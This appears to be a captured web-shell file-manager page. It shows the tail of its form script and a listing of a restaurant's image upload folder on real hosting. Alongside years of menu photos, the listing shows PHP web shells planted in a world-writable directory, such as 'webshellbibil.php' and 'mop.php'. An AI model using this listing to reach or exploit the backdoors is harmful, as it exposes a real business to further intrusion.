            var hiddenField = document.getElementById("encodedContent");
            // Encode content to base64 before submitting
            hiddenField.value = btoa(unescape(encodeURIComponent(textarea.value)));
            return true;
        }

</script>
    </body>
    </html>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	asadorcasaftp/psacln	drwxrwxrwx	2026-03-16 09:55:57
..	dir	-	asadorcasaftp/psacln	drwxrwxr-x	2024-10-17 11:34:51
configCSP	dir	-	asadorcasaftp/psacln	drwxr-xr-x	2026-03-16 12:00:26
20170215134548-carnaval-san-martin-de-unx-cab.gif	image/gif	7.85 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20170220112712-dia-del-rosado-san-martin-de-unx.jpg	image/jpeg	30.23 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20170220112837-!cid_5249081C85CA498689AF5DCC63DEE2CE@LAPTOP3TMDQJCD.jpg	image/jpeg	57.67 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20170220122733-dia-del-rosado.jpg	image/jpeg	57.67 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20170309131559-javieradas-navarra.jpg	image/jpeg	73.98 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20170309132926-dia-del-padre-casa-tomas.jpg	image/jpeg	79.31 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20170428102551-dia-de-la-madre.jpg	image/jpeg	83.57 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20170519143929-Menu_ Maridaje 2017.pdf	application/pdf	353.63 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20170519144107-Menu_Maridaje-2017.jpg	image/jpeg	136.52 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20170519145716-dia-del-rosado-2017-2.jpg	image/jpeg	206.57 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20170901135649-rosadintxo.jpg	image/jpeg	38.83 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20171031123904-san-martin-de-unx-01.jpg	image/jpeg	36.49 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20171218195235-algo-se-cuece.gif	image/gif	371.73 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20181220101936-santo-tomas-donostia.jpg	image/jpeg	291.65 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20181220103113-merry-christmas.jpg	image/jpeg	142.64 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20190208140605-asador-casa-tomas.jpg	image/jpeg	159.52 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20190301221054-menu-marzo.jpg	image/jpeg	64.74 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20190301221550-feliz-dia-del-padre.jpg	image/jpeg	28.51 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20190412114515-asador-casa-tomas-parrilla.jpg	image/jpeg	127.39 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20190506141143-menu-casa-tomas.jpg	image/jpeg	111.41 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20190830114803-menu-fs-septiembre.jpg	image/jpeg	116.33 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20190830115014-asador-casa-tomas-parrilla.jpg	image/jpeg	127.39 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20191030130027-menu-fs-noviembre.jpg	image/jpeg	151.93 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20191205102953-menu-fs-diciembre.jpg	image/jpeg	72.74 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20200103164703-menu-foto-enero.jpg	image/jpeg	55.45 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20200107233509-san-sebastian.jpg	image/jpeg	72.04 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20200130123146-menu-febrero.jpg	image/jpeg	83.19 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20200310113014-menu-marzo.jpg	image/jpeg	74.65 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20200313170355-mequedoencasa-2.jpg	image/jpeg	77.13 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20200520173655-volvemosadartelabrasa.jpg	image/jpeg	112.78 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20200601152818-volvemos-17-junio.jpg	image/jpeg	116.87 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20200619163758-medidas-seguridad.jpg	image/jpeg	65.56 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20200703120319-menu-julio.jpg	image/jpeg	69.87 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20210225223533-volvemos-casa-tomas.jpg	image/jpeg	76.03 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20210225224313-menu-febrero.jpg	image/jpeg	83.19 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20210325134935-primavera-casa-tomas.jpg	image/jpeg	78.33 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20211209110153-ch-restaurante-casa-tomas-n2-600px.jpg	image/jpeg	66.55 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20230922101918-oferta-empleo.jpg	image/jpeg	101.88 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20230922103101-ruben-mayra-casa-tomas.jpg	image/jpeg	94.17 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20231207112224-diciembre-2023.jpg	image/jpeg	147.67 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20231207112826-abierto-1-enero.jpg	image/jpeg	46.13 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20240122104229-san-martin-de-unx.jpg	image/png	582.18 KB	asadorcasaftp/psacln	-rw-r--r--	2024-10-07 11:59:00
20241113140007-calendario-2024-casa-tomas.jpg	image/jpeg	62.01 KB	asadorcasaftp/psacln	-rw-r--r--	2024-11-13 02:00:07
20250102120802-calendario-enero-2025-casa-tomas.jpg	image/jpeg	73.79 KB	asadorcasaftp/psacln	-rw-r--r--	2025-01-02 12:08:02
20250131141451-febrero-2025.jpg	image/jpeg	80.54 KB	asadorcasaftp/psacln	-rw-r--r--	2025-01-31 02:14:51
20250404082356-asador-casa-tomas-callos.png	image/png	503.62 KB	asadorcasaftp/psacln	-rw-r--r--	2025-04-04 08:23:56
20250513101321-esparragos-navarra.jpg	image/jpeg	104.65 KB	asadorcasaftp/psacln	-rw-r--r--	2025-05-13 10:13:21
20250609122054-pulpo-brasa-casa-tomas.jpg	image/jpeg	90.27 KB	asadorcasaftp/psacln	-rw-r--r--	2025-06-09 12:20:54
20250715110052-buscamos-camarero.jpg	image/jpeg	46.55 KB	asadorcasaftp/psacln	-rw-r--r--	2025-07-15 11:00:52
20250715110940-ensalada-asador-casa-tomas.jpg	image/jpeg	91.69 KB	asadorcasaftp/psacln	-rw-r--r--	2025-07-15 11:09:40
20251002133230-pulpo-asador-casa-tomas.jpg	image/jpeg	110.56 KB	asadorcasaftp/psacln	-rw-r--r--	2025-10-02 01:32:30
20251206164358-regala-menu-casa-tomas.jpg	image/jpeg	60.28 KB	asadorcasaftp/psacln	-rw-r--r--	2025-12-06 04:43:58
20251206165001-oferta-empleo-asador-casa-tomas.jpg	image/jpeg	49.97 KB	asadorcasaftp/psacln	-rw-r--r--	2025-12-06 04:50:01
20260209133842-cerrado-vacaciones-casatomas.jpg	image/jpeg	50.81 KB	asadorcasaftp/psacln	-rw-r--r--	2026-02-09 01:38:42
20260312153435-mop.php	text/x-php	377 B	asadorcasaftp/psacln	-rw-r--r--	2026-03-12 03:34:35
20260312153446-1-1.php	text/x-php	20.88 KB	asadorcasaftp/psacln	-rw-r--r--	2026-03-12 03:34:46
20260316115919-webshellbibil.php	text/x-php	47.74 KB	asadorcasaftp/psacln	-rw-r--r--	2026-03-16 11:59:19
Panels.txt	inode/x-empty	0 B	asadorcasaftp/psacln	-rw-r--r--	2026-03-16 12:36:47
verify_1773659342674.php	text/x-php	41.25 KB	asadorcasaftp/psacln	-rw-r--r--	2026-03-16 12:36:57